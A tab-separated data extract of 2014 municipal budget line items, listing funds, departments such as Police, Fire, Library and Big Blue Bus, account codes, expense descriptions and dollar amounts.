4743	BA	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	544110.0	PRINTED FORMS	806.0	 Supplies and Expenses	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
4744	BA	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	533220.0	BLDG / STRUCTURE MAINTENANCE	806.0	 Supplies and Expenses	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
4745	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	533120.0	SPECIAL EQUIP MAINT		 Supplies and Expenses	2014	718.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	718.0
4746	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	544030.0	BADGE / AWARD / NAME PLATES		 Supplies and Expenses	2014	103.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	103.0
4747	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	544090.0	MEDICAL/FIRST AID SUPPLIES		 Supplies and Expenses	2014	2563.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2563.0
4748	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	544340.0	INDIRECT COST ALLOCATION		 Supplies and Expenses	2014	69991.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	69991.0
4749	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511000.0	PERMANENT EMPLOYEES	806.0	Salaries and Wages	2014	1807609.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1807609.0
4750	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	544010.0	SPECIAL DEPARTMENT SUPPLIES	806.0	 Supplies and Expenses	2014	42202.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	42202.0
4751	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511979.0	MEDICAL EXAMS		Salaries and Wages	2014	4000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4000.0
4752	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2014	3448554.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3448554.0
4753	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	511979.0	MEDICAL EXAMS		Salaries and Wages	2014	70000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	70000.0
4754	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	522310.0	OFFICE SUPPLIES / EXPENSE	816.0	 Supplies and Expenses	2014	7000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7000.0
4755	BA	IS	1	General Fund	310	FIRE	315	TRAINING	522900.0	MEMBERSHIPS AND DUES	806.0	 Supplies and Expenses	2014	314.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	314.0
4756	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2014	17207.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	17207.0
4757	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	522310.0	OFFICE SUPPLIES / EXPENSE	816.0	 Supplies and Expenses	2014	25800.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	25800.0
4758	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	522500.0	BOARDS AND COMMISSIONS	816.0	 Supplies and Expenses	2014	6430.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6430.0
4759	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	533020.0	GENERAL LIABILITY / AUTO	816.0	 Supplies and Expenses	2014	79326.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	79326.0
4760	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	544040.0	BOOKS / PAMPHLETS	816.0	 Supplies and Expenses	2014	800.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	800.0
4761	BA	IS	77	Parking Authority Fund	210	PLANNING & COMM. DEVELOPMENT	610	PARKING AUTHORITY	404230.0	P/A BD FUND INT-DEP/INVEST	659.0	Investment Income	2014	-27000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-27000.0
4762	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	400890.0	CITY OF LA  - SEWER REPAIR	650.0	Charges for Service	2014	-398112.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-398112.0
4763	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	401650.0	SEWER SERVICE CHARGES	650.0	Charges for Service	2014	-18779223.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-18779223.0
4764	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2014	95496.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	95496.0
4765	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	511730.0	WORKERS' COMP INSURANCE	804.0	Salaries and Wages	2014	412.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	412.0
4766	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	533500.0	CONF / MTGS / TRAVEL-RH	804.0	 Supplies and Expenses	2014	2975.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2975.0
4767	B1	IS	1	General Fund	310	FIRE	315	TRAINING		DISABILITY INSURANCE	806.0	Salaries and Wages	2014	600.0	0	0.0	0.0	0	163	0.0	0	0.0	0	0	0.0	763.0
4768	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	533570.0	CONF / MTGS / TRAVEL-TOD	804.0	 Supplies and Expenses	2014	7140.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7140.0
4769	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	533590.0	CONF / MTGS / TRAVEL-GD	804.0	 Supplies and Expenses	2014	7140.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7140.0
4770	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2014	10000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10000.0
4771	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2014	2600.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2600.0
4772	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522110.0	UTIL - LIGHT / POWER	806.0	 Supplies and Expenses	2014	10055.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10055.0
4773	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	533580.0	COMPUTER/SOFTWARE MAINTENANCE	806.0	 Supplies and Expenses	2014	488849.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	488849.0
4774	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	544020.0	AMMO/PROTECTIVE CLOTHING-SWORN	806.0	 Supplies and Expenses	2014	205000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	205000.0
4775	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	544170.0	PROTECTIVE CLOTHING-NON-SWORN	806.0	 Supplies and Expenses	2014	17350.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	17350.0
4776	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	566990.0	CRIME PREVENTION	806.0	 Supplies and Expenses	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
4777	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	533120.0	SPECIAL EQUIP MAINT	806.0	 Supplies and Expenses	2014	3194.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3194.0
4778	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	588500.0	MISCELLANEOUS EQUIPMENT	806.0	 Supplies and Expenses	2014	3837.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3837.0
4779	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	511650.0	POLICE CADETS	806.0	Salaries and Wages	2014	45048.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	45048.0
4780	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	522820.0	CONFERENCES/MEETINGS/TRAVEL	806.0	 Supplies and Expenses	2014	2050.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2050.0
4781	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	544040.0	BOOKS / PAMPHLETS	806.0	 Supplies and Expenses	2014	103.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	103.0
4782	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	522610.0	EQUIPMENT RENTAL	806.0	 Supplies and Expenses	2014	94329.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	94329.0
4783	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	533120.0	SPECIAL EQUIP MAINT	806.0	 Supplies and Expenses	2014	6241.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6241.0
4784	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	566140.0	INVESTIGATION EXPENSE	806.0	 Supplies and Expenses	2014	45031.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	45031.0
4785	BA	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	544040.0	BOOKS / PAMPHLETS	806.0	 Supplies and Expenses	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
4786	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	544010.0	SPECIAL DEPARTMENT SUPPLIES		 Supplies and Expenses	2014	14198.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	14198.0
4787	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511030.0	DIVE PAY		Salaries and Wages	2014	16362.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	16362.0
4788	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	533240.0	PIER MAINTENANCE		 Supplies and Expenses	2014	16911.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	16911.0
4789	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	544010.0	SPECIAL DEPARTMENT SUPPLIES	806.0	 Supplies and Expenses	2014	21433.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	21433.0
4790	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522110.0	UTIL - LIGHT / POWER	806.0	 Supplies and Expenses	2014	77314.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	77314.0
4791	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	533220.0	BLDG / STRUCTURE MAINTENANCE	806.0	 Supplies and Expenses	2014	86777.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	86777.0
4792	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	555010.0	CONTRACTUAL SERVICES	806.0	 Supplies and Expenses	2014	40356.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	40356.0
4793	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	588070.0	EDUC & RECREATIONAL EQUIPMENT	806.0	 Supplies and Expenses	2014	8887.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8887.0
4794	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	533220.0	BLDG / STRUCTURE MAINTENANCE	806.0	 Supplies and Expenses	2014	5228.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5228.0
4795	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	555014.0	OUTSIDE REPAIRS - OFFICE EQUIP		 Supplies and Expenses	2014	1538.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1538.0
4796	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522625.0	OTHER OPERATING RENTS		 Supplies and Expenses	2014	1796.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1796.0
4797	BA	IS	1	General Fund	310	FIRE	315	TRAINING	511920.0	UNIFORM / TOOL ALLOWANCE	806.0	Salaries and Wages	2014	3120.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3120.0
4798	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	522950.0	CNG FUEL	804.0	 Supplies and Expenses	2014	4593.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4593.0
4799	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	522160.0	TRANSFER STATION FEE		 Supplies and Expenses	2014	226.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	226.0
4800	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	544220.0	REPAIR PARTS AND MATERIALS		 Supplies and Expenses	2014	1178929.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1178929.0
4801	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	544170.0	UNIFORM / PROTECTIVE CLOTHING	816.0	 Supplies and Expenses	2014	3700.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3700.0
4802	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	544180.0	SMALL TOOLS	816.0	 Supplies and Expenses	2014	500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	500.0
4803	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	522540.0	ADVERTISING	810.0	 Supplies and Expenses	2014	4200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4200.0
4804	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2014	69697.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	69697.0
4805	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2014	3510258.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3510258.0
4806	BA	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	555060.0	PROFESSIONAL SERVICES	806.0	 Supplies and Expenses	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
4807	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	522320.0	METERED POSTAGE	816.0	 Supplies and Expenses	2014	2500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2500.0
4808	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	522900.0	MEMBERSHIPS AND DUES	816.0	 Supplies and Expenses	2014	6000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6000.0
4809	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	522720.0	MILEAGE	816.0	 Supplies and Expenses	2014	107.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	107.0
4810	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	522820.0	CONFERENCES/MEETINGS/TRAVEL	816.0	 Supplies and Expenses	2014	7180.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7180.0
4811	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	544120.0	PERIODICALS	816.0	 Supplies and Expenses	2014	409.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	409.0
4812	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	555010.0	CONTRACTUAL SERVICES	816.0	 Supplies and Expenses	2014	10550.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10550.0
4813	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	566550.0	COMMUNITY FESTIVALS	810.0	 Supplies and Expenses	2014	14010.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	14010.0
4814	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	511490.0	OVERTIME	816.0	Salaries and Wages	2014	1536.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1536.0
4815	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	522210.0	UTILITIES - TELEPHONE	816.0	 Supplies and Expenses	2014	8087.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8087.0
4816	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2014	9369.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	9369.0
4817	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2014	1025.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1025.0
4818	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	533020.0	GENERAL LIABILITY / AUTO	804.0	 Supplies and Expenses	2014	10857.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10857.0
4819	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	555210.0	TRAINING	804.0	 Supplies and Expenses	2014	22927.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	22927.0
4820	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511730.0	WORKERS' COMP INSURANCE	804.0	Salaries and Wages	2014	70138.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	70138.0
4821	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2014	12000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	12000.0
4822	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	555210.0	TRAINING	804.0	 Supplies and Expenses	2014	13500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	13500.0
4823	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2014	91962.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	91962.0
4824	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	544110.0	PRINTED FORMS	806.0	 Supplies and Expenses	2014	3076.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3076.0
4825	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	511490.0	OVERTIME	806.0	Salaries and Wages	2014	1018310.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1018310.0
4826	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	522310.0	OFFICE SUPPLIES / EXPENSE	806.0	 Supplies and Expenses	2014	1963.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1963.0
4827	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	544170.0	UNIFORM / PROTECTIVE CLOTHING	806.0	 Supplies and Expenses	2014	33276.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	33276.0
4828	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	522910.0	VEHICLES - FUELS / LUBRICATION	806.0	 Supplies and Expenses	2014	10698.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10698.0
4829	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	522920.0	VEHICLES - REPAIRS	806.0	 Supplies and Expenses	2014	1025.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1025.0
4830	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	522900.0	MEMBERSHIPS AND DUES	806.0	 Supplies and Expenses	2014	2050.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2050.0
4831	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	544110.0	PRINTED FORMS	806.0	 Supplies and Expenses	2014	4575.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4575.0
4832	BA	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	522310.0	OFFICE SUPPLIES / EXPENSE	806.0	 Supplies and Expenses	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
4833	BA	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	522110.0	UTIL - LIGHT / POWER	806.0	 Supplies and Expenses	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
4834	BA	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	555080.0	DEAD ANIMAL DISPOSAL	806.0	 Supplies and Expenses	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
4835	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511490.0	OVERTIME	806.0	Salaries and Wages	2014	-1279.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1279.0
4836	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522820.0	CONFERENCES/MEETINGS/TRAVEL	806.0	 Supplies and Expenses	2014	5384.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5384.0
4837	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522130.0	UTILITIES - WATER	806.0	 Supplies and Expenses	2014	26765.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	26765.0
4838	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	588080.0	OFFICE EQUIPMENT	806.0	 Supplies and Expenses	2014	12992.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	12992.0
4839	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	544010.0	SPECIAL DEPARTMENT SUPPLIES	806.0	 Supplies and Expenses	2014	7240.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7240.0
4840	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	511979.0	MEDICAL EXAMS		Salaries and Wages	2014	12000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	12000.0
4841	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	577062.0	OTHER TRAFFIC EXPENSES		 Supplies and Expenses	2014	10000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10000.0
4842	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	522720.0	MILEAGE	816.0	 Supplies and Expenses	2014	300.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	300.0
4843	BA	IS	1	General Fund	310	FIRE	315	TRAINING	511490.0	OVERTIME	806.0	Salaries and Wages	2014	32208.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	32208.0
4844	BA	IS	1	General Fund	310	FIRE	315	TRAINING	544010.0	SPECIAL DEPARTMENT SUPPLIES	806.0	 Supplies and Expenses	2014	8364.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8364.0
4845	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511490.0	OVERTIME		Salaries and Wages	2014	71869.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	71869.0
4846	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2014	102987.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	102987.0
4847	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	522910.0	VEHICLES - FUELS / LUBRICATION		 Supplies and Expenses	2014	9075.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	9075.0
4848	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	533220.0	BLDG / STRUCTURE MAINTENANCE		 Supplies and Expenses	2014	9284.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	9284.0
4849	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	533210.0	BLDG OPER / CUST SUPPLIES	806.0	 Supplies and Expenses	2014	16310.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	16310.0
4850	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511000.0	PERMANENT EMPLOYEES	806.0	Salaries and Wages	2014	11981475.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	11981475.0
4851	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511920.0	UNIFORM / TOOL ALLOWANCE	806.0	Salaries and Wages	2014	117180.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	117180.0
4852	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	544090.0	MEDICAL/FIRST AID SUPPLIES	806.0	 Supplies and Expenses	2014	117883.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	117883.0
4853	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	522900.0	MEMBERSHIPS AND DUES	806.0	 Supplies and Expenses	2014	1673.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1673.0
4854	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	522042.0	RECOVERY FROM SUBROGATION		 Supplies and Expenses	2014	-110000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-110000.0
4855	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	555013.0	OUTSIDE REPAIRS - SHOP EQUIP		 Supplies and Expenses	2014	73934.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	73934.0
4856	BA	IS	1	General Fund	310	FIRE	315	TRAINING	511000.0	PERMANENT EMPLOYEES	806.0	Salaries and Wages	2014	425560.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	425560.0
4857	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511500.0	TEMPORARY EMPLOYEES	812.0	Salaries and Wages	2014	256563.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	256563.0
4858	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522130.0	UTILITIES - WATER	812.0	 Supplies and Expenses	2014	47500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	47500.0
4859	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522310.0	OFFICE SUPPLIES / EXPENSE	812.0	 Supplies and Expenses	2014	3990.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3990.0
4860	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522310.0	OFFICE SUPPLIES / EXPENSE	812.0	 Supplies and Expenses	2014	4560.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4560.0
4861	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522540.0	ADVERTISING	812.0	 Supplies and Expenses	2014	95.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	95.0
4862	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2014	4750.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4750.0
